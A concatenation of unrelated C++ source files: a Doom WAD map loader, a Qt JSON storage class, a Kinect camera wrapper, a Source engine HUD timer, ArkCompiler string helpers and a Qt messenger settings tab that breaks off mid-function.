WAD file of size " << length << endl; return false; } m_WADFile.seekg(ifstream::beg); m_WADFile.read((char *)m_pWADData, length); m_WADFile.close(); cout << "Info: Loading complete." << endl; return true; } bool WADLoader::ReadDirectories() { Header header; m_Reader.ReadHeaderData(m_pWADData, 0, header); Directory directory; for (unsigned int i = 0; i < header.DirectoryCount; ++i) { m_Reader.ReadDirectoryData(m_pWADData, header.DirectoryOffset + i * 16, directory); m_WADDirectories.push_back(directory); } return true; } bool WADLoader::LoadMapData(Map *pMap) { std::cout << "Info: Parsing Map: " << pMap->GetName() << endl; std::cout << "Info: Processing Map Vertexes" << endl; if (!ReadMapVertexes(pMap)) { cout << "Error: Failed to load map vertexes data MAP: " << pMap->GetName() << endl; return false; } // Load Sector std::cout << "Info: Processing Map Sectors" << endl; if (!ReadMapSectors(pMap)) { cout << "Error: Failed to load map sectors data MAP: " << pMap->GetName() << endl; return false; } // Load Sidedef std::cout << "Info: Processing Map Sidedefs" << endl; if (!ReadMapSidedefs(pMap)) { cout << "Error: Failed to load map Sidedefs data MAP: " << pMap->GetName() << endl; return false; } std::cout << "Info: Processing Map Linedefs" << endl; if (!ReadMapLinedefs(pMap)) { cout << "Error: Failed to load map linedefs data MAP: " << pMap->GetName() << endl; return false; } std::cout << "Info: Processing Map Segs" << endl; if (!ReadMapSegs(pMap)) { cout << "Error: Failed to load map segs data MAP: " << pMap->GetName() << endl; return false; } std::cout << "Info: Processing Map Things" << endl; if (!ReadMapThings(pMap)) { cout << "Error: Failed to load map things data MAP: " << pMap->GetName() << endl; return false; } std::cout << "Info: Processing Map Nodes" << endl; if (!ReadMapNodes(pMap)) { cout << "Error: Failed to load map nodes data MAP: " << pMap->GetName() << endl; return false; } std::cout << "Info: Processing Map Subsectors" << endl; if (!ReadMapSubsectors(pMap)) { cout << "Error: Failed to load map subsectors data MAP: " << pMap->GetName() << endl; return false; } return true; } int WADLoader::FindMapIndex(Map *pMap) { if (pMap->GetLumpIndex() > -1) { return pMap->GetLumpIndex(); } pMap->SetLumpIndex(FindLumpByName(pMap->GetName())); return pMap->GetLumpIndex(); } int WADLoader::FindLumpByName(const string &LumpName) { for (int i = 0; i < m_WADDirectories.size(); ++i) { if (m_WADDirectories[i].LumpName == LumpName) { return i; } } return -1; } bool WADLoader::ReadMapVertexes(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eVERTEXES; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "VERTEXES") != 0) { return false; } int iVertexSizeInBytes = sizeof(Vertex); int iVertexesCount = m_WADDirectories[iMapIndex].LumpSize / iVertexSizeInBytes; Vertex vertex; for (int i = 0; i < iVertexesCount; ++i) { m_Reader.ReadVertexData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iVertexSizeInBytes, vertex); pMap->AddVertex(vertex); } return true; } bool WADLoader::ReadMapSectors(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eSECTORS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "SECTORS") != 0) { return false; } int iSectorSizeInBytes = sizeof(WADSector); int iSectorsCount = m_WADDirectories[iMapIndex].LumpSize / iSectorSizeInBytes; WADSector sector; for (int i = 0; i < iSectorsCount; ++i) { m_Reader.ReadSectorData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iSectorSizeInBytes, sector); pMap->AddSector(sector); } return true; } bool WADLoader::ReadMapSidedefs(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eSIDEDDEFS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "SIDEDEFS") != 0) { return false; } int iSidedefSizeInBytes = sizeof(WADSidedef); int iSidedefsCount = m_WADDirectories[iMapIndex].LumpSize / iSidedefSizeInBytes; WADSidedef sidedef; for (int i = 0; i < iSidedefsCount; ++i) { m_Reader.ReadSidedefData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iSidedefSizeInBytes, sidedef); pMap->AddSidedef(sidedef); } return true; } bool WADLoader::ReadMapLinedefs(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eLINEDEFS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "LINEDEFS") != 0) { return false; } int iLinedefSizeInBytes = sizeof(WADLinedef); int iLinedefCount = m_WADDirectories[iMapIndex].LumpSize / iLinedefSizeInBytes; WADLinedef linedef; for (int i = 0; i < iLinedefCount; ++i) { m_Reader.ReadLinedefData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iLinedefSizeInBytes, linedef); pMap->AddLinedef(linedef); } return true; } bool WADLoader::ReadMapThings(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eTHINGS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "THINGS") != 0) { return false; } int iThingsSizeInBytes = sizeof(Thing); int iThingsCount = m_WADDirectories[iMapIndex].LumpSize / iThingsSizeInBytes; Thing thing; for (int i = 0; i < iThingsCount; ++i) { m_Reader.ReadThingData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iThingsSizeInBytes, thing); (pMap->GetThings())->AddThing(thing); } return true; } bool WADLoader::ReadMapNodes(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eNODES; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "NODES") != 0) { return false; } int iNodesSizeInBytes = sizeof(Node); int iNodesCount = m_WADDirectories[iMapIndex].LumpSize / iNodesSizeInBytes; Node node; for (int i = 0; i < iNodesCount; ++i) { m_Reader.ReadNodeData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iNodesSizeInBytes, node); pMap->AddNode(node); } return true; } bool WADLoader::ReadMapSubsectors(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eSSECTORS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "SSECTORS") != 0) { return false; } int iSubsectorsSizeInBytes = sizeof(Subsector); int iSubsectorsCount = m_WADDirectories[iMapIndex].LumpSize / iSubsectorsSizeInBytes; Subsector subsector; for (int i = 0; i < iSubsectorsCount; ++i) { m_Reader.ReadSubsectorData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iSubsectorsSizeInBytes, subsector); pMap->AddSubsector(subsector); } return true; } bool WADLoader::ReadMapSegs(Map *pMap) { int iMapIndex = FindMapIndex(pMap); if (iMapIndex == -1) { return false; } iMapIndex += EMAPLUMPSINDEX::eSEAGS; if (strcmp(m_WADDirectories[iMapIndex].LumpName, "SEGS") != 0) { return false; } int iSegsSizeInBytes = sizeof(WADSeg); int iSegsCount = m_WADDirectories[iMapIndex].LumpSize / iSegsSizeInBytes; WADSeg seg; for (int i = 0; i < iSegsCount; ++i) { m_Reader.ReadSegData(m_pWADData, m_WADDirectories[iMapIndex].LumpOffset + i * iSegsSizeInBytes, seg); pMap->AddSeg(seg); } return true; } bool WADLoader::LoadPalette(DisplayManager *pDisplayManager) { std::cout << "Info: Loading PLAYPAL (Color Palettes)" << endl; int iPlaypalIndex = FindLumpByName("PLAYPAL"); if (strcmp(m_WADDirectories[iPlaypalIndex].LumpName, "PLAYPAL") != 0) { return false; } WADPalette palette; for (int i = 0; i < 14; ++i) { m_Reader.ReadPalette(m_pWADData, m_WADDirectories[iPlaypalIndex].LumpOffset + (i * 3 * 256 ), palette); pDisplayManager->AddColorPalette(palette); } return true; } bool WADLoader::LoadPatch(const std::string &sPatchName) { AssetsManager *pAssetsManager = AssetsManager::GetInstance(); int iPatchIndex = FindLumpByName(sPatchName); if (strcmp(m_WADDirectories[iPatchIndex].LumpName, sPatchName.c_str()) != 0) { return false; } WADPatchHeader PatchHeader; m_Reader.ReadPatchHeader(m_pWADData, m_WADDirectories[iPatchIndex].LumpOffset, PatchHeader); Patch *pPatch = pAssetsManager->AddPatch(sPatchName, PatchHeader); WADPatchColumn PatchColumn; for (int i = 0; i < PatchHeader.Width; ++i) { int Offset = m_WADDirectories[iPatchIndex].LumpOffset + PatchHeader.ColumnOffset[i]; do { Offset = m_Reader.ReadPatchColumn(m_pWADData, Offset, PatchColumn); pPatch->AppendPatchColumn(PatchColumn); } while (PatchColumn.TopDelta != 0xFF); } return true; } #include #include #include #include #include #include #include #include #include using namespace std; QList * JsonDeveloperStorage::load(){ QList * toLoad = new QList(); // https://stackoverflow.com/a/33635201 string buffer; ifstream ifs (this->name.toStdString()); if(ifs.is_open()){ getline (ifs, buffer, (char) ifs.eof()); ifs.close(); } else{ throw invalid_argument("Can't open the file"); } QJsonParseError err; QJsonDocument doc = QJsonDocument::fromJson( QByteArray::fromStdString(buffer), &err); if (err.error != QJsonParseError::NoError) { throw invalid_argument("Error in reading JSON file " + err.errorString().toStdString()); } QJsonArray tourOpertorArr = doc.array(); for (int i = 0; i < tourOpertorArr.size(); i++) { QJsonValue value = tourOpertorArr.at(i); QJsonObject tourOpertorObj = value.toObject(); toLoad->push_back(new TourOperator(tourOpertorObj.value("country").toString(), tourOpertorObj.value("duration").toInt(), tourOpertorObj.value("price").toDouble(), tourOpertorObj.value("freeMeals").toBool(), tourOpertorObj.value("freeDrinks").toBool())); } return toLoad; } void JsonDeveloperStorage::save(QList * entities){ QJsonArray tourOpertorArr; auto operatorList = (*entities); for (TourOperator* & op: operatorList) { QJsonObject operatorObj; operatorObj.insert("country", op->getCountry()); operatorObj.insert("price", op->getPrice()); operatorObj.insert("duration", op->getDuration()); operatorObj.insert("freeMeals", op->getMeals()); operatorObj.insert("freeDrinks", op->getDrinks()); tourOpertorArr.append(operatorObj); } QJsonDocument doc(tourOpertorArr); string jsonString = doc.toJson().toStdString(); ofstream outfile; outfile.open(this->name.toStdString(), ios::out | ios::trunc ); if(outfile.is_open()){ outfile << jsonString; outfile.close(); } else{ throw invalid_argument("Can't open the file"); } } /* * Copyright [2012] Olaf - blinky0815 - christ ] * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include ColorAndDepthCamera::ColorAndDepthCamera(freenect_device* ptr) : depthResolution(FREENECT_RESOLUTION_MEDIUM), depthFormat(FREENECT_DEPTH_11BIT), videoResolution(FREENECT_RESOLUTION_MEDIUM), videoFormat(FREENECT_VIDEO_RGB) { devicePtr = ptr; freenect_set_user(devicePtr, this); freenect_set_depth_mode(devicePtr, freenect_find_depth_mode(getDepthResolution(), getDepthFormat())); freenect_set_depth_callback(devicePtr, freenect_depth_callback); devicePtr = ptr; freenect_set_user(devicePtr, this); freenect_set_video_mode(devicePtr, freenect_find_video_mode(getVideoResolution(), getVideoFormat())); freenect_set_video_callback(devicePtr, freenect_video_callback); } ColorAndDepthCamera::~ColorAndDepthCamera() noexcept(false) { stopDepth(); stopVideo(); if (freenect_close_device(devicePtr) < 0) { throw std::runtime_error("could not close the depth camera device"); } } void ColorAndDepthCamera::startDepth() { if (freenect_start_depth(devicePtr) < 0) throw std::runtime_error("Cannot start depth callback"); } void ColorAndDepthCamera::stopDepth() { if (freenect_stop_depth(devicePtr) < 0) throw std::runtime_error("Cannot stop depth callback"); } void ColorAndDepthCamera::setDepthFormat(freenect_depth_format requested_format, freenect_resolution requested_resolution) { if (requested_format != getDepthFormat() || requested_resolution != getDepthResolution()) { freenect_stop_depth(devicePtr); freenect_frame_mode mode = freenect_find_depth_mode(requested_resolution, requested_format); if (!mode.is_valid) throw std::runtime_error("Cannot set depth format: invalid mode"); if (freenect_set_depth_mode(devicePtr, mode) < 0) throw std::runtime_error("Cannot set depth format"); freenect_start_depth(devicePtr); depthFormat = requested_format; depthResolution = requested_resolution; } } freenect_depth_format ColorAndDepthCamera::getDepthFormat() { return depthFormat; } freenect_resolution ColorAndDepthCamera::getDepthResolution() { return depthResolution; } int ColorAndDepthCamera::getDepthBufferSize() { return freenect_get_current_depth_mode(devicePtr).bytes; } void ColorAndDepthCamera::depthCallback(void *depth, uint32_t timestamp) { cout << "Depth camera callback: If you see this, you're either running the selftest or you forgot to use your own class" << endl; } void ColorAndDepthCamera::startVideo() { if (freenect_start_video(devicePtr) < 0) throw std::runtime_error("Cannot start video callback"); } void ColorAndDepthCamera::stopVideo() { if (freenect_stop_video(devicePtr) < 0) throw std::runtime_error("Cannot stop video callback"); } void ColorAndDepthCamera::setVideoFormat(freenect_video_format requested_format, freenect_resolution requested_resolution) { if (requested_format != getVideoFormat() || requested_resolution != getVideoResolution()) { freenect_stop_video(devicePtr); freenect_frame_mode mode = freenect_find_video_mode(requested_resolution, requested_format); if (!mode.is_valid) throw std::runtime_error("Cannot set video format: invalid mode"); if (freenect_set_video_mode(devicePtr, mode) < 0) throw std::runtime_error("Cannot set video format"); freenect_start_video(devicePtr); videoFormat = requested_format; videoResolution = requested_resolution; } } freenect_video_format ColorAndDepthCamera::getVideoFormat() { return videoFormat; } freenect_resolution ColorAndDepthCamera::getVideoResolution() { return videoResolution; } int ColorAndDepthCamera::getVideoBufferSize() { switch (getVideoFormat()) { case FREENECT_VIDEO_RGB: case FREENECT_VIDEO_BAYER: case FREENECT_VIDEO_IR_8BIT: case FREENECT_VIDEO_IR_10BIT: case FREENECT_VIDEO_IR_10BIT_PACKED: case FREENECT_VIDEO_YUV_RGB: case FREENECT_VIDEO_YUV_RAW: return freenect_find_video_mode(getVideoResolution(), getVideoFormat()).bytes; default: return 0; } } void ColorAndDepthCamera::videoCallback(void *video, uint32_t timestamp) { cout << "Video camera callback: if you see this, you're either running the selftest or you forgot to use your own class" << endl; }//========= Copyright Valve Corporation, All rights reserved. ============// // // Purpose: // // $NoKeywords: $ // //=============================================================================// // // Health.cpp // // implementation of CHudTimer class // #include "cbase.h" #include "hud.h" #include "hud_macros.h" #include "view.h" #include "iclientmode.h" #include #include #include #include #include #include using namespace vgui; #include "hudelement.h" #include "hud_basetimer.h" #include "convar.h" #include "engine/IEngineSound.h" #include "hl2/hl2_gamerules.h" // memdbgon must be the last include file in a .cpp file!!! #include "tier0/memdbgon.h" #define INIT_TIMER -1 ConVar cl_fr_usetimer("cl_fr_usetimer", "1", FCVAR_ARCHIVE); //----------------------------------------------------------------------------- // Purpose: Health panel //----------------------------------------------------------------------------- class CHudTimer : public CHudElement, public CHudBaseTimer { DECLARE_CLASS_SIMPLE( CHudTimer, CHudBaseTimer ); public: CHudTimer( const char *pElementName ); virtual void Init( void ); virtual void VidInit( void ); virtual void Reset( void ); virtual void OnThink(); private: }; DECLARE_HUDELEMENT( CHudTimer ); //----------------------------------------------------------------------------- // Purpose: Constructor //----------------------------------------------------------------------------- CHudTimer::CHudTimer( const char *pElementName ) : CHudElement( pElementName ), CHudBaseTimer(NULL, "HudTimer") { } //----------------------------------------------------------------------------- // Purpose: //----------------------------------------------------------------------------- void CHudTimer::Init() { Reset(); g_pClientMode->GetViewportAnimationController()->StartAnimationSequence("TimerInit"); } //----------------------------------------------------------------------------- // Purpose: //----------------------------------------------------------------------------- void CHudTimer::Reset() { SetMinutes(INIT_TIMER); SetSeconds(INIT_TIMER); } //----------------------------------------------------------------------------- // Purpose: //----------------------------------------------------------------------------- void CHudTimer::VidInit() { Reset(); } //----------------------------------------------------------------------------- // Purpose: //----------------------------------------------------------------------------- void CHudTimer::OnThink() { if (!g_pGameRules->IsMultiplayer() && cl_fr_usetimer.GetBool()) { int iRemain = (int)gpGlobals->curtime; int iMinutes, iSeconds; iMinutes = iRemain / 60; iSeconds = iRemain % 60; SetMinutes(iMinutes); SetSeconds(iSeconds); SetAlpha(255); } else if (g_pGameRules->IsMultiplayer() && HL2GameRules()->GetMapRemainingTime() > 0) { SetAlpha(255); int iRemain = (int)HL2GameRules()->GetMapRemainingTime(); int iMinutes, iSeconds; iMinutes = iRemain / 60; iSeconds = iRemain % 60; SetMinutes(iMinutes); SetSeconds(iSeconds); if (iMinutes == 0 && iSeconds < 30) { g_pClientMode->GetViewportAnimationController()->StartAnimationSequence("TimerBelow30"); } else { g_pClientMode->GetViewportAnimationController()->StartAnimationSequence("TimerAbove30"); } } else { SetAlpha(0); } }plugins/noise_plugin/include/models/Sphere.hpp #pragma once #ifndef SPHERE_H #define SPHERE_H #include "../common/CommonInclude.h" namespace cnoise { namespace models { /* class - Sphere Maps 2D noise data to a sphere. */ struct GeoCoord { float Lattitude; float Longitude; // Create geocoord from xy coords at radius r. GeoCoord(float x, float y, float r) { } }; class Sphere { public: }; } } #endif // !SPHERE_H /* * Copyright (c) 2021 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "ecmascript/mem/c_string.h" #include #include #include "ecmascript/ecma_string-inl.h" #include "ecmascript/js_symbol.h" #include "ecmascript/mem/c_containers.h" #include "libpandabase/macros.h" namespace panda::ecmascript { constexpr int BASE = 10; int64_t CStringToLL(const CString &str) { [[maybe_unused]] char *endPtr = nullptr; int64_t result = std::strtoll(str.c_str(), &endPtr, BASE); ASSERT(!(result == 0 && str.c_str() == endPtr) && "CString argument is not long long int"); return result; } uint64_t CStringToULL(const CString &str) { [[maybe_unused]] char *endPtr = nullptr; uint64_t result = std::strtoull(str.c_str(), &endPtr, BASE); ASSERT(!(result == 0 && str.c_str() == endPtr) && "CString argument is not unsigned long long int"); return result; } float CStringToF(const CString &str) { [[maybe_unused]] char *endPtr = nullptr; float result = std::strtof(str.c_str(), &endPtr); ASSERT(result != HUGE_VALF && "CString argument is not float"); ASSERT(!(result == 0 && str.c_str() == endPtr) && "CString argument is not float"); return result; } double CStringToD(const CString &str) { [[maybe_unused]] char *endPtr = nullptr; double result = std::strtod(str.c_str(), &endPtr); ASSERT(result != HUGE_VALF && "CString argument is not double"); ASSERT(!(result == 0 && str.c_str() == endPtr) && "CString argument is not double"); return result; } template CString ConvertToString(T sp) { CString res; res.reserve(sp.size()); // Also support ascii that great than 127, so using unsigned char here constexpr size_t maxChar = std::numeric_limits::max(); for (const auto &c : sp) { if (c > maxChar) { return ""; } res.push_back(c); } return res; } // NB! the following function need additional mem allocation, don't use when unnecessary! CString ConvertToString(const std::string &str) { CString res; res.reserve(str.size()); for (auto c : str) { res.push_back(c); } return res; } CString ConvertToString(const EcmaString *s, StringConvertedUsage usage) { if (s == nullptr) { return CString(""); } if (s->IsUtf16()) { // Should convert utf-16 to utf-8, because uint16_t likely great than maxChar, will convert fail bool modify = (usage != StringConvertedUsage::PRINT); size_t len = base::utf_helper::Utf16ToUtf8Size(s->GetDataUtf16(), s->GetLength(), modify) - 1; CVector buf(len); len = base::utf_helper::ConvertRegionUtf16ToUtf8(s->GetDataUtf16(), buf.data(), s->GetLength(), len, 0, modify); Span sp(buf.data(), len); return ConvertToString(sp); } Span sp(s->GetDataUtf8(), s->GetLength()); return ConvertToString(sp); } CString ConvertToString(JSTaggedValue key) { ASSERT(key.IsStringOrSymbol()); if (key.IsString()) { return ConvertToString(EcmaString::ConstCast(key.GetTaggedObject())); } ecmascript::JSTaggedValue desc = JSSymbol::Cast(key.GetTaggedObject())->GetDescription(); if (desc.IsUndefined()) { return CString("Symbol()"); } return ConvertToString(EcmaString::ConstCast(desc.GetTaggedObject())); } } // namespace panda::ecmascript gui/main_window/settings/SettingsTab.cpp #include "stdafx.h" #include "SettingsTab.h" #include "../contact_list/Common.h" #include "../../core_dispatcher.h" #include "../../gui_settings.h" #include "../../utils/utils.h" #include "../../utils/InterConnector.h" #include "../../utils/gui_coll_helper.h" #include "../../controls/CustomButton.h" #include "../../controls/GeneralDialog.h" #include "../../controls/TransparentScrollBar.h" #include "../../utils/log/log.h" namespace { const int LEFT_OFFSET = 16; const int BUTTON_WIDTH = 28; const int BACK_WIDTH = 52; const int BACK_HEIGHT = 48; } namespace Ui { class SettingsTab::UI { private: QWidget *settingsView; QLabel *topicLabel; QWidget* topWidget_; CustomButton *myProfileButton; CustomButton *generalButton; CustomButton *voipButton; CustomButton *notificationsButton; CustomButton *themesButton; friend class SettingsTab; public: void init(QWidget* _p, QLayout* _pl) { auto back = new CustomButton(_p, ":/resources/basic_elements/contr_basic_back_100.png"); back->setFixedSize(QSize(Utils::scale_value(BACK_WIDTH), Utils::scale_value(BACK_HEIGHT))); back->setStyleSheet("background: transparent; border-style: none;"); back->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); back->setAlign(Qt::AlignLeft); topWidget_ = new QWidget(_p); auto hLayout = Utils::emptyHLayout(topWidget_); hLayout->setContentsMargins(0, 0, Utils::scale_value(LEFT_OFFSET + BACK_WIDTH), 0); hLayout->addWidget(back); topicLabel = new QLabel(_p); Utils::grabTouchWidget(topicLabel); topicLabel->setObjectName("settings_topic_label"); topicLabel->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Preferred); hLayout->addWidget(topicLabel); _pl->addWidget(topWidget_); back->setCursor(QCursor(Qt::PointingHandCursor)); connect(back, &QAbstractButton::clicked,[] () { emit Utils::InterConnector::instance().myProfileBack(); }); const auto flatted = true; const auto checkable = true; myProfileButton = new CustomButton(settingsView, ":/resources/settings/settings_profile_100.png"); myProfileButton->setActiveImage(":/resources/settings/settings_profile_100_active.png"); Testing::setAccessibleName(myProfileButton, "settings_my_profile_button"); Utils::grabTouchWidget(myProfileButton); myProfileButton->setSizePolicy(QSizePolicy(QSizePolicy::Minimum, QSizePolicy::Preferred)); myProfileButton->setMouseTracking(true); myProfileButton->setFlat(flatted); myProfileButton->setCheckable(checkable); myProfileButton->setAlign(Qt::AlignLeft); myProfileButton->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); myProfileButton->setFocusPolicy(Qt::NoFocus); myProfileButton->setCursor(QCursor(Qt::PointingHandCursor)); _pl->addWidget(myProfileButton); generalButton = new CustomButton(settingsView, ":/resources/settings/settings_general_100.png"); generalButton->setActiveImage(":/resources/settings/settings_general_100_active.png"); Utils::grabTouchWidget(generalButton); generalButton->setSizePolicy(QSizePolicy(QSizePolicy::Minimum, QSizePolicy::Preferred)); generalButton->setMouseTracking(true); generalButton->setFlat(flatted); generalButton->setCheckable(checkable); generalButton->setAlign(Qt::AlignLeft); generalButton->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); generalButton->setFocusPolicy(Qt::NoFocus); generalButton->setCursor(QCursor(Qt::PointingHandCursor)); _pl->addWidget(generalButton); themesButton = new CustomButton(settingsView, ":/resources/settings/settings_themes_100.png"); themesButton->setActiveImage(":/resources/settings/settings_themes_100_active.png"); themesButton->setSizePolicy(QSizePolicy(QSizePolicy::Minimum, QSizePolicy::Preferred)); themesButton->setMouseTracking(true); themesButton->setFlat(flatted); themesButton->setCheckable(checkable); themesButton->setAlign(Qt::AlignLeft); themesButton->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); themesButton->setFocusPolicy(Qt::NoFocus); themesButton->setCursor(QCursor(Qt::PointingHandCursor)); _pl->addWidget(themesButton); notificationsButton = new CustomButton(settingsView, ":/resources/settings/settings_notify_100.png"); notificationsButton->setActiveImage(":/resources/settings/settings_notify_100_active.png"); Utils::grabTouchWidget(notificationsButton); notificationsButton->setSizePolicy(QSizePolicy(QSizePolicy::Minimum, QSizePolicy::Preferred)); notificationsButton->setMouseTracking(true); notificationsButton->setFlat(flatted); notificationsButton->setCheckable(checkable); notificationsButton->setAlign(Qt::AlignLeft); notificationsButton->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); notificationsButton->setFocusPolicy(Qt::NoFocus); notificationsButton->setCursor(QCursor(Qt::PointingHandCursor)); _pl->addWidget(notificationsButton); voipButton = new CustomButton(settingsView, ":/resources/settings/settings_video_100.png"); voipButton->setActiveImage(":/resources/settings/settings_video_100_active.png"); Utils::grabTouchWidget(voipButton); voipButton->setSizePolicy(QSizePolicy(QSizePolicy::Minimum, QSizePolicy::Preferred)); voipButton->setMouseTracking(true); voipButton->setFlat(flatted); voipButton->setCheckable(checkable); voipButton->setAlign(Qt::AlignLeft); voipButton->setOffsets(Utils::scale_value(LEFT_OFFSET), 0); voipButton->setFocusPolicy(Qt::NoFocus); voipButton->setCursor(QCursor(Qt::PointingHandCursor)); _pl->addWidget(voipButton); topicLabel->setText(QT_TRANSLATE_NOOP("settings_pages","Settings")); myProfileButton->setText(QT_TRANSLATE_NOOP("settings_pages", "My Profile")); generalButton->setText(QT_TRANSLATE_NOOP("settings_pages", "General")); themesButton->setText(QT_TRANSLATE_NOOP("settings_pages", "Wallpaper")); voipButton->setText(QT_TRANSLATE_NOOP("settings_pages", "Voice and video")); notificationsButton->setText(QT_TRANSLATE_NOOP("settings_pages", "Notifications")); } }; SettingsTab::SettingsTab(QWidget* _parent): QWidget(_parent), ui_(new UI()), currentSettingsItem_(Utils::CommonSettingsType::CommonSettingsType_None), isCompact_(false) { setStyleSheet(Utils::LoadStyle(":/main_window/settings/settings_tab.qss")); auto scrollArea = CreateScrollAreaAndSetTrScrollBar(this); scrollArea->setObjectName("scroll_area"); scrollArea->setWidgetResizable(true); scrollArea->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); Utils::grabTouchWidget(scrollArea->viewport(), true); auto scrollAreaContent = new QWidget(scrollArea); scrollAreaContent->setObjectName("settings_view"); Utils::grabTouchWidget(scrollAreaContent); auto scrollAreaContentLayout = Utils::emptyVLayout(scrollAreaContent); scrollAreaContentLayout->setAlignment(Qt::AlignTop); scrollArea->setWidget(scrollAreaContent); auto layout = Utils::emptyVLayout(this); layout->addWidget(scrollArea); ui_->init(scrollAreaContent, scrollAreaContentLayout); connect(ui_->myProfileButton, SIGNAL(toggled(bool)), this, SLOT(settingsProfileClicked()), Qt::QueuedConnection); connect(ui_->generalButton, SIGNAL(toggled(bool)), this, SLOT(settingsGeneralClicked()), Qt::QueuedConnection); connect(ui_->voipButton, SIGNAL(toggled(bool)), this, SLOT(settingsVoiceVideoClicked()), Qt::QueuedConnection); connect(ui_->notificationsButton, SIGNAL(toggled(bool)), this, SLOT(settingsNotificationsClicked()), Qt::QueuedConnection); connect(ui_->themesButton, SIGNAL(toggled(bool)), this, SLOT(settingsThemesClicked()), Qt::QueuedConnection); connect(&Utils::InterConnector::instance(), &Utils::InterConnector::compactModeChanged, this, &SettingsTab::compactModeChanged, Qt::QueuedConnection); #ifdef STRIP_VOIP ui_->voipButton->hide(); #endif //STRIP_VOIP } SettingsTab::~SettingsTab() throw() { // } void SettingsTab::cleanSelection() { emit Utils::InterConnector::instance().popPagesToRoot(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_None; updateSettingsState(); } void SettingsTab::setCompactMode(bool isCompact, bool force) { if (isCompact == isCompact_ && !force) return; isCompact_ = isCompact; int compact_offset = (ContactList::ItemWidth(false, false, true) - Utils::scale_value(BUTTON_WIDTH)) / 2; ui_->topWidget_->setVisible(!isCompact_); ui_->myProfileButton->setText(isCompact_ ? QString() : QT_TRANSLATE_NOOP("settings_pages", "My Profile")); ui_->myProfileButton->setOffsets(isCompact_ ? compact_offset : Utils::scale_value(LEFT_OFFSET), 0); ui_->generalButton->setText(isCompact_ ? QString() : QT_TRANSLATE_NOOP("settings_pages", "General")); ui_->generalButton->setOffsets(isCompact_ ? compact_offset : Utils::scale_value(LEFT_OFFSET), 0); ui_->themesButton->setText(isCompact_ ? QString() : QT_TRANSLATE_NOOP("settings_pages", "Wallpaper")); ui_->themesButton->setOffsets(isCompact_ ? compact_offset : Utils::scale_value(LEFT_OFFSET), 0); ui_->voipButton->setText(isCompact_ ? QString() : QT_TRANSLATE_NOOP("settings_pages", "Voice and video")); ui_->voipButton->setOffsets(isCompact_ ? compact_offset : Utils::scale_value(LEFT_OFFSET), 0); ui_->notificationsButton->setText(isCompact_ ? QString() : QT_TRANSLATE_NOOP("settings_pages", "Notifications")); ui_->notificationsButton->setOffsets(isCompact_ ? compact_offset : Utils::scale_value(LEFT_OFFSET), 0); } void SettingsTab::settingsProfileClicked() { if (currentSettingsItem_ != Utils::CommonSettingsType::CommonSettingsType_Profile && currentSettingsItem_ != Utils::CommonSettingsType::CommonSettingsType_None) emit Utils::InterConnector::instance().generalSettingsBack(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_Profile; updateSettingsState(); emit Utils::InterConnector::instance().profileSettingsShow(""); emit Utils::InterConnector::instance().showHeader(QT_TRANSLATE_NOOP("main_page", "My profile")); GetDispatcher()->post_stats_to_core(core::stats::stats_event_names::myprofile_open); } void SettingsTab::settingsGeneralClicked() { if (currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile) emit Utils::InterConnector::instance().profileSettingsBack(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_General; updateSettingsState(); emit Utils::InterConnector::instance().showHeader(QT_TRANSLATE_NOOP("main_page", "General settings")); emit Utils::InterConnector::instance().generalSettingsShow((int)Utils::CommonSettingsType::CommonSettingsType_General); } void SettingsTab::settingsVoiceVideoClicked() { if (currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile) emit 